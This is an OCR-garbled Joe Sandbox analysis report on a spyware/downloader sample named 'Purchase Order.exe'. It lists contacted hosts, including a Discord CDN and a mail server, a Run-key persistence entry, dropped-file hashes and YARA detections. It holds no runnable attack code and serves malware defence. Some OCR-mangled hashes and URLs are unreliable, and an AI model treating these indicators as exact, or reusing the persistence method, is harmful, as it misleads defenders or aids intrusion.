00.00020000.00000000.sdmp, Puizg.exe, 00
000014.00000002.508311794.00000000033070

00.00000004.00000800.00020000.00000000.sdmp,
Puizg.exe, 00000017.00000002.508643864.000000

0002755000.00000004.00000800.00020000.00
000000.sdmp

MSBuild.exe, 00000011.00000003.398206126
.0000000006449000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000002.513485610
.00000000063B0000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000002.509801704.0000000003357000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000002.507075685
.000000000145C000.00000004.00000020.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398014139
.0000000006461000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399451261
.0000000006D38000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399030833.0000000006D35000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398231155
.0000000006D2E000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398883491.0000000006D4A000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398338255.0000000006D3F000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399506680
.00000000064AA000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.397896256.000000000647F000.00
000004.00000800.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

Reputation

unknown

unknown

high

high

unknown

unknown

high

unknown

unknown

unknown

unknown

high

unknown

high
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Name

http://https://wwww.certigna.fr/autorites/Om

http://www.dnie.es/dpcO

http:ff
www.ica.co.illrepository/cps/PersonallD_Practice_Stat
ement.pdfO

http:ff
https://www.theonionrouter.com/dist.torproject.org/torbr
owser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

http://ca.mtin.es/mtin/DPCyPoliticas0

http://https://www.anf.es/AC/ANFServerCA.crl0

http://www.globaltrust.info0

http:// certificates.starfieldtech.com/repository/1604

http://acedicom.edicomgroup.com/docO

http://www.certplus.com/CRL/class3TS.crl0

http://https://crl.anf.es/AC/ANFServerCA.crl0

http://www.carterandcone.coml

http:/fwww.certeurope.fr/reference/pc-root2.pdfo

http://ac.economia.gob.mx/last.crl0G

http:/fwww.fontbureau.com/designers/frere-user.html

http://https:/iwww.catcert.net/verarrel

http://www.disig.sk/ca0f

http:ff
www.accv.es/fileadmin/Archivos/certificados/raizaccvl.
crt0

http://www.e-szigno.hu/RootCA.crl

Copyright Joe Security LLC 2022

Source

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398883491.0000000006D4A000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398014139
.0000000006461000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000002.508094226
.0000000003001000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398206126
.0000000006449000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398883491.0000000006D4A000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399413894
.0000000006D45000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398694540.0000000006D42000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399506680
.00000000064AA000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.397896256.000000000647F000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398694540
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398883491.0000000006D4A000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397896256
.000000000647F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397864043
.000000000647A000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398231155
.0000000006D2E000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397677340
.0000000006DC2000.00000004.00000800.0002
0000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection Reputation
e URL Reputation: safe unknown
e URL Reputation: safe unknown
e URL Reputation: safe unknown
e URL Reputation: safe unknown
e URL Reputation: safe unknown
high

e URL Reputation: safe unknown
high
high

e URL Reputation: safe unknown
high

e URL Reputation: safe unknown
high

e URL Reputation: safe unknown
high

e URL Reputation: safe unknown

e URL Reputation: safe unknown
high
high
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Name

http:if

https://stackoverflow.com/q/2152978/23354rCannot

http://www.sk.ee/juur/crl/0

http://crl.chambersign.org/chambersignroot.crl0

http://crl.xrampsecurity.com/XGCA.crl0

http://certs.oati.net/repository/OATICA2.crl0

http://crl.oces.trust2408.com/oces.crl0

http://www.quovadis.om0

http://https://eca.hinet.net/repository0

http://crl.ssc.It/root-a/cacrl.crl0

http:// certs.oaticerts.com/repository/OATICA2.crl

http://www.trustdst.com/certificates/policy/ACES-

index.htmlO

http:// certs.oati.net/repository/OATICA2.crt0

http:/fwww.accv.es00

http:/fwww.pkioverheid.nl/policies/root-policy-G20

http:if

www.pki.admin.ch/policy/CPS_2_16_756_1 17_3 21_

1.pdfo

http:/fwww.e-trust.be/CPS/QNcerts

Copyright Joe Security LLC 2022

Source Malicious

Purchase Order.exe, 00000000.00000002.37 false
1780538.0000000002A0D000.00000004.000008
00.00020000.00000000.sdmp, Puizg.exe, 00
000014.00000002.508311794.00000000033070
00.00000004.00000800.00020000.00000000.sdmp,
Puizg.exe, 00000017.00000002.508643864.000000
0002755000.00000004.00000800.00020000.00
000000.sdmp

MSBuild.exe, 00000011.00000003.398014139 false
.0000000006461000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.397824150 false
.000000000646C000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398694540 false
.0000000006D42000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398883491.0000000006D4A000.00
000004.00000800.00020000.00000000.sdmp,

MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072 false
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398338255 false
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000002.514404668.0000000006D3F000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399413894 false
.0000000006D45000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398694540.0000000006D42000.00
000004.00000800.00020000.00000000.sdmp,

MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398325450 false
.0000000006D3B000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398231155.0000000006D2E000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072 false
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072 false
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398014139 false
.0000000006461000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072 false
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398231155 false
.0000000006D2E000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072 false
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398206126 false
.0000000006449000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398206126 false
.0000000006449000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399053031.0000000006D22000.00
000004.00000800.00020000.00000000.sdmp,

MSBuild.exe, 00000011.00000003.398047213
.0000000006DD8000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.397677340.0000000006DC2000.00
000004.00000800.00020000.00000000.sdmp

Antivirus Detection

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

e URL Reputation:

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

Reputation

high

unknown

unknown

unknown

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

unknown

unknown

high

unknown
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Name

http://ocsp.ncdc.gov.sa0

http://mail.pilotgarage.com

http://www.fontbureau.com/designersG

http://fedir.comsign.co.il/crl/ComSignCA.crl0

http://www.fontbureau.com/designers/?

http://trustcenter-

crl.certificat2.com/Keynectis’/KEYNECTIS_ROOT_CA.

crlo

http://web.ncdc.gov.sa/crl/nrcapartal.crl

http://www.datev.de/zertifikat-policy-int0

http://www.founder.com.cn/cn/bThe

http://www.fontbureau.com/designers?

World Map of Contacted IPs

Copyright Joe Security LLC 2022

Source

MSBuild.exe, 00000011.00000003.399451261
.0000000006D38000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399030833.0000000006D35000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398231155
.0000000006D2E000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000002.509801704
.0000000003357000.00000004.00000800.0002
0000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399413894
.0000000006D45000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398694540.0000000006D42000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398338255
.0000000006D3F000.00000004.00000800.0002
0000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399208416
.0000000006D28000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399053031.0000000006D22000.00
000004.00000800.00020000.00000000.sdmp

MSBuild.exe, 00000011.00000003.399451261
.0000000006D38000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.399030833.0000000006D35000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398231155
.0000000006D2E000.00000004.00000800.0002
0000.00000000.sdmp

MSBuild.exe, 00000011.00000003.398106072
.0000000006454000.00000004.00000800.0002
0000.00000000.sdmp, MSBuild.exe, 0000001
1.00000003.398995729.0000000006D2C000.00
000004.00000800.00020000.00000000.sdmp,
MSBuild.exe, 00000011.00000003.398231155
.0000000006D2E000.00000004.00000800.0002
0000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

Purchase Order.exe, 00000000.00000002.37
3822257.0000000006B92000.00000004.000008
00.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe

e Avira URL Cloud: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

Reputation

unknown

unknown

high

unknown

high

unknown

unknown

high

unknown

high
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[] No. of IPs < 25%
I 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain
162.159.130.233 unknown
162.159.129.233 cdn.discordapp.com
5.250.241.50 mail.pilotgarage.com
Private

P

192.168.2.1

General Information

Joe Sandbox Version:

Analysis ID:

Start date and time: 02/05/202213:00:23
Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:

Analysis stop reason:

Copyright Joe Security LLC 2022

Country Flag ASN

United States = 13335
United States =] 13335
Turkey 59674

34.0.0 Boulder Opal

618941

2022-05-02 13:00:23 +02:00
CloudBasic

Oh 10m 14s

false

light

Purchase Order.exe

default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

33

o o o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

ASN Name

CLOUDFLARENETUS
CLOUDFLARENETUS
AYSIMATR

Malicious

false
false

true
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Detection: MAL
Classification: mal100.spre.troj.spyw.evad.WinEXE@22/5@5/4
EGA Information: e Successful, ratio: 100%

HDC Information:

.

Successful, ratio: 0.1% (good quality ratio 0.1%)
Quality average: 47.3%
Quality standard deviation: 33.8%

.

.

HCA Information:

.

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

.

3

Cookbook Comments:

.

Found application associated with file extension: .exe
Adjust boot time
Enable AMSI

.

3

Warnings

e Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted): 20.82.209.183, 23.211.6.115, 40.126.32.135, 20.190.160.23, 20.190.160.13, 40.126.32.132, 20.190.160.21, 20.190.160.15, 40.126.32.73, 40.12
6.32.137, 23.211.4.86, 20.82.210.154, 209.197.3.8, 173.222.108.226, 173.222.108.210, 80.67.82.211, 80.67.82.235, 52.242.101.226, 20.54.89.106, 52.251.79.25, 40.125.122.176,
52.152.110.14

e Excluded domains from analysis (whitelisted): www.tm.lg.prod.aadmsa.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.no

rtheurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net,

arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com,

sls.update.microsoft.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, g

Ib.sls.prod.dcat.dsp.trafficmanager.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, eus2-displ

aycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, cds.d2s7g6s2.hwcdn.net, wu-bg-shim.trafficmanager.net,

login.msa.msidentity.co

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, t oo many NtAllocateVirtualMemory calls found.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, too many NtQueryValueKey calls found.

e o o o o o

Simulations

Behavior and APIs

Time Type Description

13:02:31 API Interceptor 1x Sleep call for process: Purchase Order.exe modified

13:02:32 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Puizg "C:\Users\user\AppData\Roaming\Oarkzlb
\Puizg.exe"

13:02:33 API Interceptor 358x Sleep call for process: MSBuild.exe modified

13:02:40 Autostart Run: HKCUB4\Software\Microsoft\Windows\CurrentVersion\Run Puizg "C:\Users\user\AppData\Roaming\Oarkz
Ib\Puizg.exe"

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files
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@ No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BDODO0OE0426DC8F8008506 E

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type: Microsoft Cabinet archive data, 61480 bytes, 1 file

Category: dropped

Size (bytes): 61480

Entropy (8bit):  7.9951219482618905

Encrypted: true

SSDEEP: 1536:kmu7iDG/SCACIh0/8ulGantJdjFpTE8ITeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN

MDS5: B9F21D8DB36EB88831E5352BB82C438B3

SHAL: 4A3C330954F9F65A2F5FD7E55800E46CE228A3E2

SHA-256: 998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E

SHA-512: D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BESF39346D8B564FC72FB16994
76

Malicious: false

Preview:

K,.Y.dj.<A..

...l_Ivb[w..rDp...! ={L...AS..9......0......
0. X . gU..*.V.{V6..m

DA.Q.t7....9.~.  [.l<e..~$.>...5lS...~1.IV.2Ri.]R!8..0...X.%.)@.....2.gb,t..}..;..@.Z..<q.y.....e3.cY.we$..z..| #...l.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe

File Type: data

Category: modified

Size (bytes): 330

Entropy (8bit): 3.1367431092306868

Encrypted: false

SSDEEP: 6:kK/ToIN+SKkQIPIEGYRMY9z+4KIDA3RUesJ21:3zkPIE99SNXxAhUesEL

MD5: D585AD266E57588F8B3EAB2046562E95

SHA1L: FACF9E5051AF30211DBB5C1D669FE7C01368566F

SHA-256: 700758D0C23374A7551B98D052C45AF675AE2360329957DFC61AD854ADE2B893

SHA-512: 825C61A4A4A01224B17D0C339602833B724969F5AF7F2E128F0F7A574045FC3BAABEF13790F626100BDD752C0408E2EA2CFA9E9A9366DE70DD1D6F6CADDAAG(
F

Malicious: false

Preview:

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\Usagelogs\Purchase Order.exe.log @

Process: C:\Users\user\Desktop\Purchase Order.exe
File Type: ASCII text, with CRLF line terminators
Category: modified

Size (bytes): 1119

Entropy (8bit):  5.356708753875314

Encrypted: false

SSDEEP: 24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4KZr7FE4j:MIHK5HKXE1gHiYHKhQnoPtHoxHhAHKzd

MD5: 3197B1D4714B56F2A6AC9E83761739AE

SHAL: 3B38010FODF51C1D4D2C020138202DABB686741D

SHA-256: 40586572180B85042FEFED9F367B43831C5D269751D9F3940BBC29B41E18E9F6

SHA-512: 58EC975A53AD9B19B425F6C6843A94CC280F794D436BBF3D29D8B76CALESC2D8883B3E754F9D4F2C9E9387FEB8825CCD9919369A5446B1AFF73EDBEO7FA94D
8

Malicious: true
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Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Ve
rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72
e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni
.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\S
ystem.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b
77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe v@

Process: C:\Users\user\Desktop\Purchase Order.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 44032

Entropy (8bit):  5.491955566372164

Encrypted: false

SSDEEP: 384:FHYm+Nnx5Cb+XHJynH5rHmHfffffJQaulaipMwCKzH2S3ddOhUADkadcX:FHYmyDCCXHJASGIbMwCKN3deVDwX

MD5: D88A146F731E00B42947EC060F3D4F43

SHA1L: 46243E85F209FDB306AFFD5EEFBIFFESFA3D2614

SHA-256: D08B7126B81C09BE7E54774CC35399FACEEFOC2D4732CBBCA5D46C48D89A2F51

SHA-512: 5DC37BD378418B0787CE6D8C4A8D5E945850B0AE22D27FB1A6739463E3F97C2F1E8A9209EA7A48313A3F677E0110E18926BCB055732BA02238E6984E16125DFC
Malicious: true

Yara Hits: e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting

on a legitimate FQDN), Source: C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe, Author: Florian Roth
e Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe, Author: Joe
Security

Antivirus: e Antivirus: ReversingLabs, Detection: 31%

Preview:

C:\Users\user\AppData\Roaming\Oarkzlb\Puizg.exe:Zone.ldentifier

Process: C:\Users\user\Desktop\Purchase Order.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped

Size (bytes): 26

Entropy (8bit):  3.95006375643621

Encrypted: false

SSDEEP: 3:9gPYVIrPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHA1L: 6693BA299EC1881249D59262276A0D2CB21F8E6G4

SHA-256: 255A65D30841AB4082BD9DOEEA79D49C5EEB8F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCI9CDE1B60FB21CD6¢
E

Malicious: false

Preview: [ZoneTransfer]....Zoneld=0

Static File Info

General

File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Entropy (8bit):  5.491955566372164

TriD: e Win32 Executable (generic) Net Framework (10011505/4) 49.83%
e Win32 Executable (generic) a (10002005/4) 49.78%
e Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
e Generic Win/DOS Executable (2004/3) 0.01%
e DOS Executable Generic (2002/1) 0.01%
File name: Purchase Order.exe
File size: 44032
MDS5: d88a146f731e00b42947ec060f3d4f43
SHAL: 46243e85f209fdb306affd5eefb9ffe5fa3d2614
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SHA256: d08b7126b81c09be7e54774cc35399faceef0c2d4732cbbcabd46¢48d89a2f51

SHA512: 5dc37bd378418b0787ceb6d8c4a8d5e945850b0ae22d27fh1a6739463e3f97c2fle8a9209ea7a48313a3f677e0110e18926bch055732ba02238e6984e16125df0
SSDEEP: 384:FHYm+Nnx5Cb+XHJynH5rHmHfffffJQaulaipMwCKzH2S3ddOhUADkadcX:FHYmyDCCXHJASGIbMwCKN3deVDwX

TLSH: 7D13D81A38969619C9D47BF869B0618266367CE50034C14FDCF97F2A9E73323DCC26AD

File Content MZ.ooiiiiii @ 1..L.IThis program cannot be run in DOS mode....$....... PE.L..Secccoiins 0.$........... C.... T @
Preview: ... @i

File lcon

Icon Hash: 0f4d494919151b03

Static PE Info

General

Entrypoint: 0x40430a

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x911D7309 [Sun Feb 24 13:05:13 2047 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516¢1f5a744

Entrypoint Preview
Instruction

jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IMPORT 0x42b8 Ox4f text
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x6000 0x83e4 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x10000 Oxc .reloc
IMAGE_DIRECTORY_ENTRY_DEBUG 0x429c Oxlc text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

